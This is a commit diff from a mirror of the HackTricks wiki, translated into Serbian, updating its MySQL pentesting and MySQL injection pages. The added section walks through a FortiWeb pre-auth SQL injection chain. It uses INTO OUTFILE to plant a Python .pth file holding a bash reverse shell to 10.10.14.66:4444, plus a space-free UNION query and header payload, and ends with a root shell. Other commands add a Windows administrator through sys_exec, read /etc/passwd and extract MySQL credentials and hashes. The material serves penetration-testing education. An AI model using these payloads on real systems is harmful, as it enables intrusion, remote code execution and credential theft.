mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/
This commit is contained in:
		
							parent
							
								
									ff394742fb
								
							
						
					
					
						commit
						1ee930dec2
					
				@ -1,10 +1,15 @@
 | 
			
		||||
# 3306 - Pentesting Mysql
 | 
			
		||||
 | 
			
		||||
{{#include /banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## **Osnovne informacije**
 | 
			
		||||
 | 
			
		||||
**MySQL** se može opisati kao open source **Relational Database Management System (RDBMS)** koji je dostupan bez troškova. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
 | 
			
		||||
**MySQL** se može opisati kao open source **Sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
 | 
			
		||||
 | 
			
		||||
**Podrazumevani port:** 3306
 | 
			
		||||
```
 | 
			
		||||
@ -17,7 +22,7 @@
 | 
			
		||||
mysql -u root # Connect to root without password
 | 
			
		||||
mysql -u root -p # A password will be asked (check someone)
 | 
			
		||||
```
 | 
			
		||||
### Удалено
 | 
			
		||||
### Udaljeno
 | 
			
		||||
```bash
 | 
			
		||||
mysql -h <Hostname> -u root
 | 
			
		||||
mysql -h <Hostname> -u root@localhost
 | 
			
		||||
@ -109,21 +114,58 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
 | 
			
		||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
#### INTO OUTFILE → Python `.pth` RCE (konfiguracione kuke specifične za sajt)
 | 
			
		||||
 | 
			
		||||
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na ciljevima koji kasnije pokreću **Python** skripte.
 | 
			
		||||
 | 
			
		||||
1. Koristite `INTO OUTFILE` da postavite prilagođenu **`.pth`** datoteku unutar bilo kog direktorijuma koji se automatski učitava od strane `site.py` (npr. `.../lib/python3.10/site-packages/`).
 | 
			
		||||
2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
 | 
			
		||||
3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
 | 
			
		||||
 | 
			
		||||
Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
 | 
			
		||||
```python
 | 
			
		||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
 | 
			
		||||
```
 | 
			
		||||
Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
 | 
			
		||||
```sql
 | 
			
		||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 | 
			
		||||
```
 | 
			
		||||
Važne ograničenja i zaobilaženja:
 | 
			
		||||
 | 
			
		||||
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
 | 
			
		||||
* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
 | 
			
		||||
* Ako je unos napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
 | 
			
		||||
* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
 | 
			
		||||
 | 
			
		||||
Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
 | 
			
		||||
```
 | 
			
		||||
GET /cgi-bin/ml-draw.py HTTP/1.1
 | 
			
		||||
Host: <target>
 | 
			
		||||
```
 | 
			
		||||
Python proces će automatski uvesti zlonamerni `.pth` i izvršiti shell payload.
 | 
			
		||||
```
 | 
			
		||||
# Attacker
 | 
			
		||||
$ nc -lvnp 4444
 | 
			
		||||
id
 | 
			
		||||
uid=0(root) gid=0(root) groups=0(root)
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## MySQL proizvoljno čitanje datoteka od strane klijenta
 | 
			
		||||
 | 
			
		||||
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Zatim, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
 | 
			
		||||
Molimo vas da primetite da je ovo ponašanje korišćenjem:
 | 
			
		||||
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** iz **sadržaja datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
 | 
			
		||||
Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
 | 
			
		||||
```bash
 | 
			
		||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 | 
			
		||||
```
 | 
			
		||||
(Обратите пажњу на реч "локални")\
 | 
			
		||||
Пошто без "локални" можете добити:
 | 
			
		||||
(Obratite pažnju na reč "local")\
 | 
			
		||||
Jer bez "local" možete dobiti:
 | 
			
		||||
```bash
 | 
			
		||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 | 
			
		||||
 | 
			
		||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 | 
			
		||||
```
 | 
			
		||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
 | 
			
		||||
**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
 | 
			
		||||
**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
 | 
			
		||||
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
 | 
			
		||||
 | 
			
		||||
@ -146,7 +188,7 @@ U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njen
 | 
			
		||||
 | 
			
		||||
- Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena.
 | 
			
		||||
- **`password`** se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom.
 | 
			
		||||
- **`admin_address`** specificira IP adresu koja sluša TCP/IP konekcije na administrativnom mrežnom interfejsu.
 | 
			
		||||
- **`admin_address`** specificira IP adresu koja sluša na TCP/IP konekcijama na administrativnom mrežnom interfejsu.
 | 
			
		||||
- Varijabla **`debug`** ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
 | 
			
		||||
- **`sql_warnings`** upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova.
 | 
			
		||||
- Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.
 | 
			
		||||
@ -214,7 +256,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
 | 
			
		||||
SELECT sys_exec("net user npn npn12345678 /add");
 | 
			
		||||
SELECT sys_exec("net localgroup Administrators npn /add");
 | 
			
		||||
```
 | 
			
		||||
### Izvlačenje MySQL kredencijala iz fajlova
 | 
			
		||||
### Izvlačenje MySQL akreditiva iz fajlova
 | 
			
		||||
 | 
			
		||||
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
 | 
			
		||||
```bash
 | 
			
		||||
@ -224,7 +266,7 @@ Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
 | 
			
		||||
 | 
			
		||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
 | 
			
		||||
 | 
			
		||||
Možete ih izvući tako što ćete:
 | 
			
		||||
Možete ih izvući tako što ćete uraditi:
 | 
			
		||||
```bash
 | 
			
		||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 | 
			
		||||
```
 | 
			
		||||
@ -234,9 +276,9 @@ Možete omogućiti logovanje mysql upita unutar `/etc/mysql/my.cnf` otkomentaris
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### Korisni fajlovi
 | 
			
		||||
### Korisne datoteke
 | 
			
		||||
 | 
			
		||||
Konfiguracioni fajlovi
 | 
			
		||||
Konfiguracione datoteke
 | 
			
		||||
 | 
			
		||||
- windows \*
 | 
			
		||||
- config.ini
 | 
			
		||||
@ -253,12 +295,12 @@ Konfiguracioni fajlovi
 | 
			
		||||
- /etc/my.cnf
 | 
			
		||||
- Istorija komandi
 | 
			
		||||
- \~/.mysql.history
 | 
			
		||||
- Log fajlovi
 | 
			
		||||
- Log datoteke
 | 
			
		||||
- connections.log
 | 
			
		||||
- update.log
 | 
			
		||||
- common.log
 | 
			
		||||
 | 
			
		||||
## Podrazumevana MySQL Baza Podataka/Tabele
 | 
			
		||||
## Podrazumevana MySQL baza podataka/tabele
 | 
			
		||||
 | 
			
		||||
{{#tabs}}
 | 
			
		||||
{{#tab name="information_schema"}}
 | 
			
		||||
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
 | 
			
		||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
## Reference
 | 
			
		||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -52,7 +52,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
 | 
			
		||||
 | 
			
		||||
## Tok
 | 
			
		||||
 | 
			
		||||
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" za "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
 | 
			
		||||
Zapamtite da u "modernim" verzijama **MySQL** možete zameniti "_**information_schema.tables**_" sa "_**mysql.innodb_table_stats**_**"** (Ovo može biti korisno za zaobilaženje WAF-ova).
 | 
			
		||||
```sql
 | 
			
		||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
 | 
			
		||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
 | 
			
		||||
@ -71,15 +71,15 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
 | 
			
		||||
 | 
			
		||||
### **Slepo dodavanje**
 | 
			
		||||
 | 
			
		||||
- `LPAD(version(),1...dužina(version()),'1')='asd'...`
 | 
			
		||||
- `RPAD(version(),1...dužina(version()),'1')='asd'...`
 | 
			
		||||
- `SELECT RIGHT(version(),1...dužina(version()))='asd'...`
 | 
			
		||||
- `SELECT LEFT(version(),1...dužina(version()))='asd'...`
 | 
			
		||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
 | 
			
		||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
 | 
			
		||||
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
 | 
			
		||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
 | 
			
		||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
 | 
			
		||||
 | 
			
		||||
## Otkrivanje broja kolona
 | 
			
		||||
 | 
			
		||||
Koristeći jednostavan ORDER
 | 
			
		||||
Korišćenje jednostavnog ORDER
 | 
			
		||||
```
 | 
			
		||||
order by 1
 | 
			
		||||
order by 2
 | 
			
		||||
@ -92,7 +92,7 @@ UniOn SeLect 1,2
 | 
			
		||||
UniOn SeLect 1,2,3
 | 
			
		||||
...
 | 
			
		||||
```
 | 
			
		||||
## MySQL Unija Zasnovana
 | 
			
		||||
## MySQL Union Based
 | 
			
		||||
```sql
 | 
			
		||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
 | 
			
		||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
 | 
			
		||||
@ -101,7 +101,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
 | 
			
		||||
```
 | 
			
		||||
## SSRF
 | 
			
		||||
 | 
			
		||||
**Naučite ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
 | 
			
		||||
**Saznajte ovde različite opcije za** [**zloupotrebu Mysql injekcije da dobijete SSRF**](mysql-ssrf.md)**.**
 | 
			
		||||
 | 
			
		||||
## WAF bypass trikovi
 | 
			
		||||
 | 
			
		||||
@ -138,11 +138,33 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
 | 
			
		||||
```
 | 
			
		||||
Više informacija na [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
 | 
			
		||||
 | 
			
		||||
### Injekcija bez PROSTORA (`/**/` trik sa komentarima)
 | 
			
		||||
 | 
			
		||||
Neke aplikacije sanitizuju ili analiziraju korisnički unos pomoću funkcija kao što je `sscanf("%128s", buf)` koje **staju na prvom razmaku**. 
 | 
			
		||||
Pošto MySQL tretira sekvencu `/**/` kao komentar *i* kao razmak, može se koristiti za potpuno uklanjanje normalnih razmaka iz payload-a dok se upit sintaktički održava validnim.
 | 
			
		||||
 | 
			
		||||
Primer vremenski zasnovane slepe injekcije koja zaobilazi filter razmaka:
 | 
			
		||||
```http
 | 
			
		||||
GET /api/fabric/device/status HTTP/1.1
 | 
			
		||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
 | 
			
		||||
```
 | 
			
		||||
Koji baza podataka prima kao:
 | 
			
		||||
```sql
 | 
			
		||||
' OR SLEEP(5)-- -'
 | 
			
		||||
```
 | 
			
		||||
Ovo je posebno korisno kada:
 | 
			
		||||
 | 
			
		||||
* Kontrolisani bafer je ograničenog veličine (npr. `%128s`) i razmaci bi prerano prekinuli unos.
 | 
			
		||||
* Injektovanje kroz HTTP zaglavlja ili druga polja gde se normalni razmaci uklanjaju ili koriste kao razdvojivači.
 | 
			
		||||
* U kombinaciji sa `INTO OUTFILE` primitivima za postizanje potpunog pre-auth RCE (vidi odeljak o MySQL File RCE).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### MySQL istorija
 | 
			
		||||
 | 
			
		||||
Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: **sys.x$statement_analysis**
 | 
			
		||||
 | 
			
		||||
### Verzija alternative**s**
 | 
			
		||||
### Verzija alternativa**s**
 | 
			
		||||
```
 | 
			
		||||
mysql> select @@innodb_version;
 | 
			
		||||
mysql> select @@version;
 | 
			
		||||
@ -150,11 +172,12 @@ mysql> select version();
 | 
			
		||||
```
 | 
			
		||||
## Ostali MYSQL injection vodiči
 | 
			
		||||
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
 | 
			
		||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
 | 
			
		||||
 | 
			
		||||
## Reference
 | 
			
		||||
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
 | 
			
		||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
 | 
			
		||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user